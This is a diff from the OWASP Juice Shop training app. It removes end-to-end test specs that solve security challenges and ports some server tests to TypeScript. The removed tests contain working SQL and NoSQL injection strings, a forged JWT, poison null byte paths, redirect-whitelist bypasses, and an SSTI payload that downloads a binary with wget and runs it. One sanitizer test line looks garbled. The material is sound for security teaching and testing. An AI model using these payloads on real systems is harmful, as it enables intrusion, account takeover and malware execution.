'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAanVpY2Utc2gub3AifSwiaWF0IjoxNTA4NjM5NjEyLCJleHAiOjk5OTk5OTk5OTl9.dFeqI0EGsOecwi5Eo06dFUBtW5ziRljFgMWOCYeA8yw' }) - browser.executeScript('localStorage.setItem("token", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAanVpY2Utc2gub3AifSwiaWF0IjoxNTA4NjM5NjEyLCJleHAiOjk5OTk5OTk5OTl9.dFeqI0EGsOecwi5Eo06dFUBtW5ziRljFgMWOCYeA8yw")') - browser.get('/#/') - }) - - protractor.expect.challengeSolved({ challenge: 'JWT Issues Tier 2' }) - }) -}) diff --git a/test/e2e/forgotPasswordSpec.js b/test/e2e/forgotPasswordSpec.js deleted file mode 100644 index 8a678ebcc3a..00000000000 --- a/test/e2e/forgotPasswordSpec.js +++ /dev/null @@ -1,99 +0,0 @@ -const config = require('config') - -describe('/#/forgot-password', () => { - let email, securityAnswer, newPassword, newPasswordRepeat, resetButton - - const EC = protractor.ExpectedConditions - - beforeEach(() => { - $('#logout').isPresent().then((result) => { - if (result) { - $('#logout').click() - } - }) - browser.wait(EC.stalenessOf($('#logout')), 5000) - browser.get('/#/forgot-password') - email = element(by.id('email')) - securityAnswer = element(by.id('securityAnswer')) - newPassword = element(by.id('newPassword')) - newPasswordRepeat = element(by.id('newPasswordRepeat')) - resetButton = element(by.id('resetButton')) - }) - - describe('as Jim', () => { - it('should be able to reset password with his security answer', () => { - email.sendKeys('jim@' + config.get('application.domain')) - browser.wait(EC.visibilityOf(securityAnswer), 1000, 'Security answer field did not become visible') - securityAnswer.sendKeys('Samuel') - newPassword.sendKeys('I <3 Spock') - newPasswordRepeat.sendKeys('I <3 Spock') - resetButton.click() - - expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy() - }) - - protractor.expect.challengeSolved({ challenge: 'Reset Jim\'s Password' }) - }) - - describe('as Bender', () => { - it('should be able to reset password with his security answer', () => { - email.sendKeys('bender@' + config.get('application.domain')) - browser.wait(EC.visibilityOf(securityAnswer), 1000, 'Security answer field did not become visible') - securityAnswer.sendKeys('Stop\'n\'Drop') - newPassword.sendKeys('Brannigan 8=o Leela') - newPasswordRepeat.sendKeys('Brannigan 8=o Leela') - resetButton.click() - - expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy() - }) - - protractor.expect.challengeSolved({ challenge: 'Reset Bender\'s Password' }) - }) - - describe('as Bjoern', () => { - describe('for his internal account', () => { - it('should be able to reset password with his security answer', () => { - email.sendKeys('bjoern@' + config.get('application.domain')) - browser.wait(EC.visibilityOf(securityAnswer), 1000, 'Security answer field did not become visible') - securityAnswer.sendKeys('West-2082') - newPassword.sendKeys('monkey summer birthday are all bad passwords but work just fine in a long passphrase') - newPasswordRepeat.sendKeys('monkey summer birthday are all bad passwords but work just fine in a long passphrase') - resetButton.click() - - expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy() - }) - - protractor.expect.challengeSolved({ challenge: 'Reset Bjoern\'s Password Tier 2' }) - }) - - describe('for his OWASP account', () => { - it('should be able to reset password with his security answer', () => { - email.sendKeys('bjoern.kimminich@owasp.org') - browser.wait(EC.visibilityOf(securityAnswer), 1000, 'Security answer field did not become visible') - securityAnswer.sendKeys('Zaya') - newPassword.sendKeys('kitten lesser pooch karate buffoon indoors') - newPasswordRepeat.sendKeys('kitten lesser pooch karate buffoon indoors') - resetButton.click() - - expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy() - }) - - protractor.expect.challengeSolved({ challenge: 'Reset Bjoern\'s Password Tier 1' }) - }) - }) - - describe('as Morty', () => { - it('should be able to reset password with his security answer', () => { - email.sendKeys('morty@' + config.get('application.domain')) - browser.wait(EC.visibilityOf(securityAnswer), 1000, 'Security answer field did not become visible') - securityAnswer.sendKeys('5N0wb41L') - newPassword.sendKeys('iBurri3dMySe1fInTheB4ckyard!') - newPasswordRepeat.sendKeys('iBurri3dMySe1fInTheB4ckyard!') - resetButton.click() - - expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy() - }) - - protractor.expect.challengeSolved({ challenge: 'Reset Morty\'s Password' }) - }) -}) diff --git a/test/e2e/loginSpec.js b/test/e2e/loginSpec.js deleted file mode 100644 index ac14400e6c4..00000000000 --- a/test/e2e/loginSpec.js +++ /dev/null @@ -1,117 +0,0 @@ -const config = require('config') - -describe('/#/login', () => { - let email, password, rememberMeCheckbox, loginButton - - beforeEach(() => { - browser.get('/#/login') - email = element(by.id('email')) - password = element(by.id('password')) - rememberMeCheckbox = element(by.id('rememberMe-input')) - loginButton = element(by.id('loginButton')) - }) - - describe('challenge "loginAdmin"', () => { - it('should log in Admin with SQLI attack on email field using "\' or 1=1--"', () => { - email.sendKeys('\' or 1=1--') - password.sendKeys('a') - loginButton.click() - }) - - it('should log in Admin with SQLI attack on email field using "admin@\'--"', () => { - email.sendKeys('admin@' + config.get('application.domain') + '\'--') - password.sendKeys('a') - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Login Admin' }) - }) - - describe('challenge "loginJim"', () => { - it('should log in Jim with SQLI attack on email field using "jim@\'--"', () => { - email.sendKeys('jim@' + config.get('application.domain') + '\'--') - password.sendKeys('a') - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Login Jim' }) - }) - - describe('challenge "loginBender"', () => { - it('should log in Bender with SQLI attack on email field using "bender@\'--"', () => { - email.sendKeys('bender@' + config.get('application.domain') + '\'--') - password.sendKeys('a') - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Login Bender' }) - }) - - describe('challenge "adminCredentials"', () => { - it('should be able to log in with original (weak) admin credentials', () => { - email.sendKeys('admin@' + config.get('application.domain')) - password.sendKeys('admin123') - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Password Strength' }) - }) - - describe('challenge "loginSupport"', () => { - it('should be able to log in with original support-team credentials', () => { - email.sendKeys('support@' + config.get('application.domain')) - password.sendKeys('J6aVjTgOpRs$?5l+Zkq2AYnCE@RF§P') - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Login Support Team' }) - }) - - describe('challenge "loginRapper"', () => { - it('should be able to log in with original MC SafeSearch credentials', () => { - email.sendKeys('mc.safesearch@' + config.get('application.domain')) - password.sendKeys('Mr. N00dles') - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Login MC SafeSearch' }) - }) - - describe('challenge "loginAmy"', () => { - it('should be able to log in with original Amy credentials', () => { - email.sendKeys('amy@' + config.get('application.domain')) - password.sendKeys('K1f.....................') - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Login Amy' }) - }) - - describe('challenge "oauthUserPassword"', () => { - it('should be able to log in as bjoern.kimminich@googlemail.com with base64-encoded email as password', () => { - email.sendKeys('bjoern.kimminich@googlemail.com') - password.sendKeys('bW9jLmxpYW1lbGdvb2dAaGNpbmltbWlrLm5yZW9qYg==') - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Login Bjoern' }) - }) - - describe('challenge "loginCiso"', () => { - it('should be able to log in as ciso@juice-sh.op by using "Remember me" in combination with (fake) OAuth login with another user', () => { - email.sendKeys('ciso@' + config.get('application.domain')) - password.sendKeys('wrong') - browser.executeScript('document.getElementById("rememberMe-input").removeAttribute("class");') - rememberMeCheckbox.click() - loginButton.click() - - browser.executeScript('var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { console.log("Success"); }}; xhttp.open("POST","http://localhost:3000/rest/user/login", true); xhttp.setRequestHeader("Content-type","application/json"); xhttp.setRequestHeader("Authorization",`Bearer ${localStorage.getItem("token")}`); xhttp.setRequestHeader("X-User-Email", localStorage.getItem("email")); xhttp.send(JSON.stringify({email: "admin@juice-sh.op", password: "admin123", oauth: true}));') // eslint-disable-line - - // Deselect to clear email field for subsequent tests - rememberMeCheckbox.click() - loginButton.click() - }) - - protractor.expect.challengeSolved({ challenge: 'Login CISO' }) - }) -}) diff --git a/test/e2e/noSqlSpec.js b/test/e2e/noSqlSpec.js deleted file mode 100644 index 3818214a1d5..00000000000 --- a/test/e2e/noSqlSpec.js +++ /dev/null @@ -1,136 +0,0 @@ -const config = require('config') - -describe('/rest/product/reviews', () => { - beforeEach(() => { - browser.get('/#/search') - }) - - describe('challenge "NoSql Command Injection"', () => { - protractor.beforeEach.login({ email: 'admin@' + config.get('application.domain'), password: 'admin123' }) - - it('should be possible to inject a command into the get route', () => { // FIXME Fails after merging gsoc-frontend and -challenges - browser.waitForAngularEnabled(false) - browser.executeScript(() => { - var xhttp = new XMLHttpRequest() - xhttp.onreadystatechange = function () { - if (this.status === 200) { - console.log('Success') - } - } - xhttp.open('GET', 'http://localhost:3000/rest/product/sleep(1000)/reviews', true) - xhttp.setRequestHeader('Content-type', 'text/plain') - xhttp.send() - }) - browser.driver.sleep(5000) - browser.waitForAngularEnabled(true) - }) - protractor.expect.challengeSolved({ challenge: 'NoSQL Injection Tier 1' }) - }) - - describe('challenge "NoSql Reviews Injection"', () => { - it('should be possible to inject a selector into the update route', () => { - browser.waitForAngularEnabled(false) - browser.executeScript('var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { console.log("Success"); } }; xhttp.open("PATCH","http://localhost:3000/rest/product/reviews", true); xhttp.setRequestHeader("Content-type","application/json"); xhttp.setRequestHeader("Authorization", `Bearer ${localStorage.getItem("token")}`); xhttp.send(JSON.stringify({ "id": { "$ne": -1 }, "message": "NoSQL Injection!" }));') // eslint-disable-line - browser.driver.sleep(1000) - browser.waitForAngularEnabled(true) - }) - protractor.expect.challengeSolved({ challenge: 'NoSQL Injection Tier 2' }) - }) - - describe('challenge "NoSql Orders Injection"', () => { - it('should be possible to inject and get all the orders', () => { - browser.waitForAngularEnabled(false) - browser.executeScript(() => { - var xhttp = new XMLHttpRequest() - xhttp.onreadystatechange = function () { - if (this.status === 200) { - console.log('Success') - } - } - xhttp.open('GET', 'http://localhost:3000/rest/track-order/%27%20%7C%7C%20true%20%7C%7C%20%27', true) - xhttp.setRequestHeader('Content-type', 'text/plain') - xhttp.send() - }) - browser.driver.sleep(1000) - browser.waitForAngularEnabled(true) - }) - protractor.expect.challengeSolved({ challenge: 'NoSQL Injection Tier 3' }) - }) - - describe('challenge "Forged Review"', () => { - protractor.beforeEach.login({ email: 'mc.safesearch@' + config.get('application.domain'), password: 'Mr. N00dles' }) - - it('should be possible to edit any existing review', () => { - browser.waitForAngularEnabled(false) - browser.executeScript(() => { - var xhttp = new XMLHttpRequest() - xhttp.onreadystatechange = function () { - if (this.status === 200) { - const reviewId = JSON.parse(this.responseText).data[0]._id - editReview(reviewId) - } - } - - xhttp.open('GET', 'http://localhost:3000/rest/product/1/reviews', true) - xhttp.setRequestHeader('Content-type', 'text/plain') - xhttp.send() - - function editReview (reviewId) { - var xhttp = new XMLHttpRequest() - xhttp.onreadystatechange = function () { - if (this.status === 200) { - console.log('Success') - } - } - xhttp.open('PATCH', 'http://localhost:3000/rest/product/reviews', true) - xhttp.setRequestHeader('Content-type', 'application/json') - xhttp.setRequestHeader('Authorization', `Bearer ${localStorage.getItem('token')}`) - xhttp.send(JSON.stringify({ 'id': reviewId, 'message': 'injected' })) - } - }) - browser.driver.sleep(5000) - browser.waitForAngularEnabled(true) - }) - protractor.expect.challengeSolved({ challenge: 'Forged Review' }) - }) - - describe('challenge "Multiple Likes"', () => { - protractor.beforeEach.login({ email: 'mc.safesearch@' + config.get('application.domain'), password: 'Mr. N00dles' }) - - it('should be possible to like reviews multiple times', () => { - browser.waitForAngularEnabled(false) - browser.executeScript(() => { - var xhttp = new XMLHttpRequest() - xhttp.onreadystatechange = function () { - if (this.status === 200) { - const reviewId = JSON.parse(this.responseText).data[0]._id - sendPostRequest(reviewId) - sendPostRequest(reviewId) - sendPostRequest(reviewId) - } - } - - xhttp.open('GET', 'http://localhost:3000/rest/product/1/reviews', true) - xhttp.setRequestHeader('Content-type', 'text/plain') - xhttp.send() - - function sendPostRequest (reviewId) { - var xhttp = new XMLHttpRequest() - xhttp.onreadystatechange = function () { - if (this.status === 200) { - console.log('Success') - } - } - xhttp.open('POST', 'http://localhost:3000/rest/product/reviews', true) - xhttp.setRequestHeader('Content-type', 'application/json') - xhttp.setRequestHeader('Authorization', `Bearer ${localStorage.getItem('token')}`) - xhttp.send(JSON.stringify({ 'id': reviewId })) - } - }) - browser.driver.sleep(5000) - browser.waitForAngularEnabled(true) - }) - - protractor.expect.challengeSolved({ challenge: 'Multiple Likes' }) - }) -}) diff --git a/test/e2e/profileSpec.js b/test/e2e/profileSpec.js deleted file mode 100644 index 3faf32663a5..00000000000 --- a/test/e2e/profileSpec.js +++ /dev/null @@ -1,45 +0,0 @@ -// const config = require('config') -const utils = require('../../lib/utils') - -describe('/profile', () => { - let username, submitButton, url - beforeEach(() => { - browser.waitForAngularEnabled(false) - }) - - if (!utils.disableOnContainerEnv()) { - describe('challenge "SSTi"', () => { - // protractor.beforeEach.login({email: 'admin@' + config.get('application.domain'), password: 'admin123'}) - // browser.get('/profile') - - xit('should be possible to inject arbitrary nodeJs commands in username', () => { - browser.get('/profile') - browser.waitForAngularEnabled(false) - username = element(by.id('username')) - submitButton = element(by.id('submit')) - username.sendKeys('#{root.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}') - submitButton.click() - browser.get('/') - browser.driver.sleep(5000) - }) - // protractor.expect.challengeSolved({ challenge: 'SSTi' }) - }) - } - - describe('challenge "SSRF"', () => { - // protractor.beforeEach.login({email: 'admin@' + config.get('application.domain'), password: 'admin123'}) - // browser.get('/profile') - - xit('should be possible to request internal resources using image upload URL', () => { - browser.get('/profile') - browser.waitForAngularEnabled(false) - url = element(by.id('url')) - submitButton = element(by.id('submitUrl')) - url.sendKeys('http://localhost:3000/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3') - submitButton.click() - browser.get('/') - browser.driver.sleep(5000) - }) - // protractor.expect.challengeSolved({ challenge: 'SSRF' }) - }) -}) diff --git a/test/e2e/publicFtpSpec.js b/test/e2e/publicFtpSpec.js deleted file mode 100644 index 275d00514fc..00000000000 --- a/test/e2e/publicFtpSpec.js +++ /dev/null @@ -1,53 +0,0 @@ -describe('/ftp', () => { - describe('challenge "confidentialDocument"', () => { - it('should be able to access file /ftp/acquisitions.md', () => { - browser.driver.get(browser.baseUrl + '/ftp/acquisitions.md') - }) - - protractor.expect.challengeSolved({ challenge: 'Confidential Document' }) - }) - - describe('challenge "errorHandling"', () => { - it('should leak information through error message accessing /ftp/easter.egg due to wrong file suffix', () => { - browser.driver.get(browser.baseUrl + '/ftp/easter.egg') - - browser.driver.findElements(by.id('stacktrace')).then(elements => { - expect(!!elements.length).toBe(true) - }) - }) - - protractor.expect.challengeSolved({ challenge: 'Error Handling' }) - }) - - describe('challenge "forgottenBackup"', () => { - it('should be able to access file /ftp/coupons_2013.md.bak abusing md_debug parameter', () => { - browser.driver.get(browser.baseUrl + '/ftp/coupons_2013.md.bak?md_debug=.md') - }) - - protractor.expect.challengeSolved({ challenge: 'Forgotten Sales Backup' }) - }) - - describe('challenge "forgottenDevBackup"', () => { - it('should be able to access file /ftp/package.json.bak with poison null byte attack', () => { - browser.driver.get(browser.baseUrl + '/ftp/package.json.bak%2500.md') - }) - - protractor.expect.challengeSolved({ challenge: 'Forgotten Developer Backup' }) - }) - - describe('challenge "easterEgg1"', () => { - it('should be able to access file /ftp/easter.egg with poison null byte attack', () => { - browser.driver.get(browser.baseUrl + '/ftp/eastere.gg%2500.md') - }) - - protractor.expect.challengeSolved({ challenge: 'Easter Egg Tier 1' }) - }) - - describe('challenge "misplacedSiemFileChallenge"', () => { - it('should be able to access file /ftp/suspicious_errors.yml with poison null byte attack', () => { - browser.driver.get(browser.baseUrl + '/ftp/suspicious_errors.yml%2500.md') - }) - - protractor.expect.challengeSolved({ challenge: 'Misplaced Signature File' }) - }) -}) diff --git a/test/e2e/redirectSpec.js b/test/e2e/redirectSpec.js deleted file mode 100644 index 81627ef3ec9..00000000000 --- a/test/e2e/redirectSpec.js +++ /dev/null @@ -1,27 +0,0 @@ -describe('/redirect', () => { - describe('challenge "redirect"', () => { - it('should show error page when supplying an unrecognized target URL', () => { - browser.driver.get(browser.baseUrl + '/redirect?to=http://kimminich.de').then(() => { - expect(browser.driver.getPageSource()).toContain('Unrecognized target URL for redirect: http://kimminich.de') - }) - }) - }) - - describe('challenge "redirect"', () => { - it('should redirect to target URL if whitelisted URL is contained in it as parameter', () => { - browser.driver.get(browser.baseUrl + '/redirect?to=https://www.owasp.org?trickIndexOf=https://github.com/bkimminich/juice-shop').then(() => { - expect(browser.driver.getCurrentUrl()).toMatch(/https:\/\/www\.owasp\.org/) - }) - }) - - protractor.expect.challengeSolved({ challenge: 'Redirects Tier 2' }) - }) - - describe('challenge "redirectGratipay"', () => { - it('should still redirect to forgotten entry https://gratipay.com/juice-shop on whitelist', () => { - browser.driver.get(browser.baseUrl + '/redirect?to=https://gratipay.com/juice-shop') - }) - - protractor.expect.challengeSolved({ challenge: 'Redirects Tier 1' }) - }) -}) diff --git a/test/e2e/registerSpec.js b/test/e2e/registerSpec.js deleted file mode 100644 index 974550a3403..00000000000 --- a/test/e2e/registerSpec.js +++ /dev/null @@ -1,43 +0,0 @@ -describe('/#/register', () => { - const config = require('config') - protractor.beforeEach.login({ email: 'admin@' + config.get('application.domain'), password: 'admin123' }) - - beforeEach(() => { - browser.get('/#/register') - }) - - describe('challenge "xss2"', () => { - xit('should be possible to bypass validation by directly using Rest API', () => { - const EC = protractor.ExpectedConditions - - browser.executeScript('var $http = angular.element(document.body).injector().get(\'$http\'); $http.post(\'/api/Users\', {email: \'tizedIFrame')).to.equal('SanitizedIFrame') + }) + + it('can be bypassed by exploiting lack of recursive sanitization', () => { + expect(security.sanitizeHtml('<iframe src="javascript:alert(`xss`)">')).to.equal('tizedIFrame')).to.equal('SanitizedIFrame') + }) + + it('cannot be bypassed by exploiting lack of recursive sanitization', () => { + expect(security.sanitizeSecure('Bla<iframe src="javascript:alert(`xss`)">Blubb')).to.equal('BlaBlubb') + }) + }) + + describe('hash', () => { + it('throws type error for for undefined input', () => { + expect(() => security.hash()).to.throw(TypeError) + }) + + it('returns MD5 hash for any input string', () => { + expect(security.hash('admin123')).to.equal('0192023a7bbd73250516f069df18b500') + expect(security.hash('password')).to.equal('5f4dcc3b5aa765d61d8327deb882cf99') + expect(security.hash('')).to.equal('d41d8cd98f00b204e9800998ecf8427e') + }) + }) + + describe('hmac', () => { + it('throws type error for for undefined input', () => { + expect(() => security.hmac()).to.throw(TypeError) + }) + + it('returns SHA-256 HMAC with "pa4qacea4VK9t9nGv7yZtwmj" as salt any input string', () => { + expect(security.hmac('admin123')).to.equal('6be13e2feeada221f29134db71c0ab0be0e27eccfc0fb436ba4096ba73aafb20') + expect(security.hmac('password')).to.equal('da28fc4354f4a458508a461fbae364720c4249c27f10fccf68317fc4bf6531ed') + expect(security.hmac('')).to.equal('f052179ec5894a2e79befa8060cfcb517f1e14f7f6222af854377b6481ae953e') + }) + }) +}) diff --git a/test/server/keyServerSpec.js b/test/server/keyServerSpec.js deleted file mode 100644 index f40dc63debc..00000000000 --- a/test/server/keyServerSpec.js +++ /dev/null @@ -1,32 +0,0 @@ -const sinon = require('sinon') -const chai = require('chai') -const sinonChai = require('sinon-chai') -const expect = chai.expect -chai.use(sinonChai) - -describe('keyServer', () => { - const serveKeyFiles = require('../../routes/keyServer') - - beforeEach(() => { - this.req = { params: { } } - this.res = { sendFile: sinon.spy(), status: sinon.spy() } - this.next = sinon.spy() - }) - - it('should serve requested file from folder /encryptionkeys', () => { - this.req.params.file = 'test.file' - - serveKeyFiles()(this.req, this.res, this.next) - - expect(this.res.sendFile).to.have.been.calledWith(sinon.match(/encryptionkeys[/\\]test.file/)) - }) - - it('should raise error for slashes in filename', () => { - this.req.params.file = '../../../../nice.try' - - serveKeyFiles()(this.req, this.res, this.next) - - expect(this.res.sendFile).to.have.not.been.calledWith(sinon.match.any) - expect(this.next).to.have.been.calledWith(sinon.match.instanceOf(Error)) - }) -}) diff --git a/test/server/keyServerSpec.ts b/test/server/keyServerSpec.ts new file mode 100644 index 00000000000..ba26f9c972d --- /dev/null +++ b/test/server/keyServerSpec.ts @@ -0,0 +1,40 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import sinon = require('sinon') +const chai = require('chai') +const sinonChai = require('sinon-chai') +const expect = chai.expect +chai.use(sinonChai) + +describe('keyServer', () => { + const serveKeyFiles = require('../../routes/keyServer') + let req: any + let res: any + let next: any + + beforeEach(() => { + req = { params: { } } + res = { sendFile: sinon.spy(), status: sinon.spy() } + next = sinon.spy() + }) + + it('should serve requested file from folder /encryptionkeys', () => { + req.params.file = 'test.file' + + serveKeyFiles()(req, res, next) + + expect(res.sendFile).to.have.been.calledWith(sinon.match(/encryptionkeys[/\\]test.file/)) + }) + + it('should raise error for slashes in filename', () => { + req.params.file = '../../../../nice.try' + + serveKeyFiles()(req, res, next) + + expect(res.sendFile).to.have.not.been.calledWith(sinon.match.any) + expect(next).to.have.been.calledWith(sinon.match.instanceOf(Error)) + }) +}) diff --git a/test/server/preconditionValidationSpec.js b/test/server/preconditionValidationSpec.js deleted file mode 100644 index 4e7998acdc7..00000000000 --- a/test/server/preconditionValidationSpec.js +++ /dev/null @@ -1,32 +0,0 @@ -const chai = require('chai') -const sinonChai = require('sinon-chai') -const expect = chai.expect -chai.use(sinonChai) - -const semver = require('semver') -const { checkIfRunningOnSupportedNodeVersion } = require('../../lib/startup/validatePreconditions') - -describe('preconditionValidation', () => { - describe('checkIfRunningOnSupportedNodeVersion', () => { - const supportedVersion = require('./../../package.json').engines.node - - it('should define the supported semver range as 8 - 11', () => { - expect(supportedVersion).to.equal('8 - 11') - expect(semver.validRange(supportedVersion)).to.not.equal(null) - }) - - it('should accept a supported version', () => { - expect(checkIfRunningOnSupportedNodeVersion('11.3.0')).to.equal(true) - expect(checkIfRunningOnSupportedNodeVersion('10.12.0')).to.equal(true) - expect(checkIfRunningOnSupportedNodeVersion('9.11.2')).to.equal(true) - expect(checkIfRunningOnSupportedNodeVersion('8.12.0')).to.equal(true) - }) - - it('should fail for an unsupported version', () => { - expect(checkIfRunningOnSupportedNodeVersion('7.10.1')).to.equal(false) - expect(checkIfRunningOnSupportedNodeVersion('6.14.4')).to.equal(false) - expect(checkIfRunningOnSupportedNodeVersion('4.9.1')).to.equal(false) - expect(checkIfRunningOnSupportedNodeVersion('0.12.8')).to.equal(false) - }) - }) -}) diff --git a/test/server/preconditionValidationSpec.ts b/test/server/preconditionValidationSpec.ts new file mode 100644 index 00000000000..2a1bec79cf4 --- /dev/null +++ b/test/server/preconditionValidationSpec.ts @@ -0,0 +1,69 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import chai = require('chai') +const sinonChai = require('sinon-chai') +const expect = chai.expect +const net = require('net') +chai.use(sinonChai) + +const semver = require('semver') +const { checkIfRunningOnSupportedNodeVersion, checkIfPortIsAvailable } = require('../../lib/startup/validatePreconditions') + +describe('preconditionValidation', () => { + describe('checkIfRunningOnSupportedNodeVersion', () => { + const supportedVersion = require('./../../package.json').engines.node + + it('should define the supported semver range as 14 - 18', () => { + expect(supportedVersion).to.equal('14 - 18') + expect(semver.validRange(supportedVersion)).to.not.equal(null) + }) + + it('should accept a supported version', () => { + expect(checkIfRunningOnSupportedNodeVersion('18.1.0')).to.equal(true) + expect(checkIfRunningOnSupportedNodeVersion('17.3.0')).to.equal(true) + expect(checkIfRunningOnSupportedNodeVersion('16.10.0')).to.equal(true) + expect(checkIfRunningOnSupportedNodeVersion('15.9.0')).to.equal(true) + expect(checkIfRunningOnSupportedNodeVersion('14.0.0')).to.equal(true) + }) + + it('should fail for an unsupported version', () => { + expect(checkIfRunningOnSupportedNodeVersion('19.0.0')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('13.13.0')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('12.16.2')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('11.14.0')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('10.20.0')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('9.11.2')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('8.12.0')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('7.10.1')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('6.14.4')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('4.9.1')).to.equal(false) + expect(checkIfRunningOnSupportedNodeVersion('0.12.8')).to.equal(false) + }) + }) + + describe('checkIfPortIsAvailable', () => { + it('should resolve when port 3000 is closed', async () => { + const success = await checkIfPortIsAvailable(3000) + expect(success).to.equal(true) + }) + + describe('open a server before running the test', () => { + const testServer = net.createServer() + before((done) => { + testServer.listen(3000, done) + }) + + it('should reject when port 3000 is open', async () => { + const success = await checkIfPortIsAvailable(3000) + expect(success).to.equal(false) + }) + + after((done) => { + testServer.close(done) + }) + }) + }) +}) diff --git a/test/server/premiumRewardSpec.js b/test/server/premiumRewardSpec.js deleted file mode 100644 index b83daf2c467..00000000000 --- a/test/server/premiumRewardSpec.js +++ /dev/null @@ -1,32 +0,0 @@ -const sinon = require('sinon') -const chai = require('chai') -const sinonChai = require('sinon-chai') -const expect = chai.expect -chai.use(sinonChai) - -describe('premiumReward', () => { - const servePremiumContent = require('../../routes/premiumReward') - const challenges = require('../../data/datacache').challenges - - beforeEach(() => { - this.res = { sendFile: sinon.spy() } - this.req = {} - this.save = () => ({ - then () { } - }) - }) - - it('should serve /frontend/dist/frontend/assets/private/under-construction.gif', () => { - servePremiumContent()(this.req, this.res) - - expect(this.res.sendFile).to.have.been.calledWith(sinon.match(/frontend[/\\]dist[/\\]frontend[/\\]assets[/\\]private[/\\]under-construction\.gif/)) - }) - - it('should solve "premiumPaywallChallenge"', () => { - challenges.premiumPaywallChallenge = { solved: false, save: this.save } - - servePremiumContent()(this.req, this.res) - - expect(challenges.premiumPaywallChallenge.solved).to.equal(true) - }) -}) diff --git a/test/server/premiumRewardSpec.ts b/test/server/premiumRewardSpec.ts new file mode 100644 index 00000000000..28390e2a1ba --- /dev/null +++ b/test/server/premiumRewardSpec.ts @@ -0,0 +1,40 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import sinon = require('sinon') +const chai = require('chai') +const sinonChai = require('sinon-chai') +const expect = chai.expect +chai.use(sinonChai) + +describe('premiumReward', () => { + const servePremiumContent = require('../../routes/premiumReward') + const challenges = require('../../data/datacache').challenges + let req: any + let res: any + let save: any + + beforeEach(() => { + res = { sendFile: sinon.spy() } + req = {} + save = () => ({ + then () { } + }) + }) + + it('should serve /frontend/dist/frontend/assets/private/JuiceShop_Wallpaper_1920x1080_VR.jpg', () => { + servePremiumContent()(req, res) + + expect(res.sendFile).to.have.been.calledWith(sinon.match(/frontend[/\\]dist[/\\]frontend[/\\]assets[/\\]private[/\\]JuiceShop_Wallpaper_1920x1080_VR\.jpg/)) + }) + + it('should solve "premiumPaywallChallenge"', () => { + challenges.premiumPaywallChallenge = { solved: false, save: save } + + servePremiumContent()(req, res) + + expect(challenges.premiumPaywallChallenge.solved).to.equal(true) + }) +}) diff --git a/test/server/redirectSpec.js b/test/server/redirectSpec.js deleted file mode 100644 index 07e24415b9d..00000000000 --- a/test/server/redirectSpec.js +++ /dev/null @@ -1,58 +0,0 @@ -const sinon = require('sinon') -const chai = require('chai') -const sinonChai = require('sinon-chai') -const expect = chai.expect -chai.use(sinonChai) - -describe('redirect', () => { - const performRedirect = require('../../routes/redirect') - const challenges = require('../../data/datacache').challenges - - beforeEach(() => { - this.req = { query: {} } - this.res = { redirect: sinon.spy(), status: sinon.spy() } - this.next = sinon.spy() - this.save = () => ({ - then () { } - }) - }) - - describe('should be performed for all whitelisted URLs', () => { - for (let url of require('../../lib/insecurity').redirectWhitelist) { - it(url, () => { - this.req.query.to = url - - performRedirect()(this.req, this.res, this.next) - - expect(this.res.redirect).to.have.been.calledWith(url) - }) - } - }) - - it('should raise error for URL not on whitelist', () => { - this.req.query.to = 'http://kimminich.de' - - performRedirect()(this.req, this.res, this.next) - - expect(this.res.redirect).to.have.not.been.calledWith(sinon.match.any) - expect(this.next).to.have.been.calledWith(sinon.match.instanceOf(Error)) - }) - - it('redirecting to https://gratipay.com/juice-shop should solve the "redirectGratipayChallenge"', () => { - this.req.query.to = 'https://gratipay.com/juice-shop' - challenges.redirectGratipayChallenge = { solved: false, save: this.save } - - performRedirect()(this.req, this.res) - - expect(challenges.redirectGratipayChallenge.solved).to.equal(true) - }) - - it('tricking the whitelist should solve "redirectChallenge"', () => { - this.req.query.to = 'http://kimminich.de?to=https://github.com/bkimminich/juice-shop' - challenges.redirectChallenge = { solved: false, save: this.save } - - performRedirect()(this.req, this.res) - - expect(challenges.redirectChallenge.solved).to.equal(true) - }) -}) diff --git a/test/server/redirectSpec.ts b/test/server/redirectSpec.ts new file mode 100644 index 00000000000..3e29b22deae --- /dev/null +++ b/test/server/redirectSpec.ts @@ -0,0 +1,85 @@ +/* + * Copyright (c) 2014-2022 